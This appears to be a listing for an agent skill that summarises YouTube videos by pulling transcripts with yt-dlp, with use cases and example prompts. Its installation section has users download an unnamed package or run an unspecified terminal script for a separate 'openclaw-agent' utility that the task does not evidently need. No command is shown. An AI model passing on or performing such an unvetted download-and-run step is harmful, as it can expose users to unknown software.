youtube-summarize

What This Skill Does

The youtube-summarize skill is a powerful automation utility designed to bridge the gap between long-form video content and concise textual analysis. By leveraging the industry-standard yt-dlp tool alongside custom extraction logic, this skill retrieves video metadata, automatically downloads transcripts, and cleans caption data into a format optimized for Large Language Model (LLM) consumption. It empowers users to extract knowledge from educational content, interviews, and webinars without the time-consuming burden of watching entire videos.

Installation

To use this skill, you must first install the openclaw-agent utility, which facilitates the necessary environment commands. For Windows, download the provided package; for macOS, run the specified terminal script. Once the base agent is active, install the backend dependency by running pip install yt-dlp in your environment. Finally, register the skill via the OpenClaw repository using the command: clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-zserr.

Use Cases

• Research Efficiency: Rapidly parse academic lectures or conference talks to capture key findings.
• Content Creation: Convert existing video content into blog posts or social media summaries.
• Meeting Analysis: Process recorded Zoom or YouTube meetings to generate actionable minutes and task lists.
• Market Research: Extract sentiment and technical details from product reviews or tech teardown videos.

Example Prompts

1. "Summarize the key takeaways from this YouTube video: [URL] and format them into a bulleted list of actionable items."
2. "Can you analyze the video [URL] and explain the technical challenges mentioned regarding the new framework?"
3. "Extract the main argument from this debate video [URL] and write a one-paragraph synopsis of the different viewpoints presented."

Tips & Limitations

• Prerequisites: This skill relies heavily on external binaries; ensure your PATH is correctly configured to locate yt-dlp.
• Caption Availability: The quality of the summary is dependent on the availability of auto-generated or manual subtitles on the source video. Videos without captions cannot be summarized by this skill.
• Text Cleaning: The skill includes a sophisticated Python-based cleanup utility to strip timestamps and VTT artifacts; if you encounter formatting errors, ensure the video language settings match the specified language flag (default is English 'en').
• Data Privacy: Be mindful of privacy when processing private or non-public links.